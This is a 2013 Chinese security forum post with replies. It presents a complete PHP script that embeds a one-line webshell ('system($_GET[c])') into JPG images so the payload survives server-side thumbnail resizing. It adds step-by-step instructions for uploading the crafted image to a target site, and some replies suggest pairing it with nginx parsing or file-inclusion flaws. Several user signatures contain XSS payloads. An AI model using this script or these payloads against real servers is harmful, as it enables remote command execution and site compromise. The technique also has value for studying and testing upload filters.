突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

livers (如梦似幻) | 2013-07-26 15:07

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用

PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算 详见:

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于 图像的尺寸 必须320×320 且必须是PNG格式

那JPG怎么办

神奇的老外 提出了列方法

<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
 caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
 image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
 1) After the second processing the injected data may become partially corrupted.
 2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
 initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=system($_GET[c]);?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
 die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                             break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                 $outStream =
                    substr($outStream, 0, $startPos) .
                     $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                             substr($outStream, $startPos, $imageStreamSize),
                         0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                             substr($outStream, $stopPos);
             } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                 die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
         if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
         $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                 die('File not exists ['.$filename.']');
             $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
         } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
         }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

http://pastebin.com/3cznqi8P

具体方法 时:

1. 你先要 上传你想要构造的图片马原片

2. 等网站生成完缩略图下载下来

3. 用上述脚本 生成带图片的 木马

4. 重新上传到网站 结束

这个也要看运气成分

drops 里面园长MM说喜欢看我的图像,我会告诉你这图像是可以的。

[原文地址]

相关讨论:

1#

livers (如梦似幻) | 2013-07-26 15:08

@GaRY look

2#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。) | 2013-07-26 15:10

好牛逼的思路

3#

livers (如梦似幻) | 2013-07-26 15:11

@VIP 小学生 两秒 看完了??

4#

楼上是马甲 | 2013-07-26 15:12

mark

5#

M0nster | 2013-07-26 15:13

mark

6#

HRay (。。。) | 2013-07-26 16:00

连压缩图片都不安全了,现实真残酷

7#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-07-26 16:10

哥,你邪恶了,难道我第一眼看到的不是你的头像而是你头像里面蕴含的那段webshell?

其实我是想说每次看到你头像都有一种超神的感觉。

8#

livers (如梦似幻) | 2013-07-26 16:45

@园长 你的javaweb系列让我想到不少思路,继续啊

9#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-07-26 17:23

@livers 老大有什么奇淫绝技分享下啊。

10#

流影 (白帽子是啥?) | 2013-07-26 17:35

。。。好厉害的样子

11#

nauscript (<!--<img src="--><imgsrc=xonerror=alert(document.cookie)//">) | 2013-07-26 17:53

@流影 吓 还没走?!

12#

流影 (白帽子是啥?) | 2013-07-26 18:12

@nauscript 汗 不至于把你 ~

13#

z7y (我是z7y,我为小胖子代言!!) | 2013-07-27 02:56

求继续...这思路叼炸天了

核攻击 | 2013-07-27 08:45

乌云之前讨论过这个:php图片木马绕过图片缩放、压缩、二次转码等“破坏性”过滤

15#

insight-labs (Root Yourself in Success) | 2013-07-27 09:55

那也得找到lfi才能利用啊

16#

gery | 2013-07-27 13:08

实测真的吧一句话写进去了,可以配合nginx解析漏洞

17#

有妹子送上 | 2013-07-27 13:10

mark

18#

livers (如梦似幻) | 2013-07-27 22:58

@核攻击 嗯 这两者不一样 这个jpg 并且不再局限与320*320 已经进了一大步

19#

livers (如梦似幻) | 2013-07-27 22:59

@insight-labs 不知道是不是瞌睡龙 我更在乎的是这篇文章实现了之前讨论的一些不可能。

20#

昵称 (</textarea>'"><script src) | 2013-07-28 20:56

各种图片都是something's wrong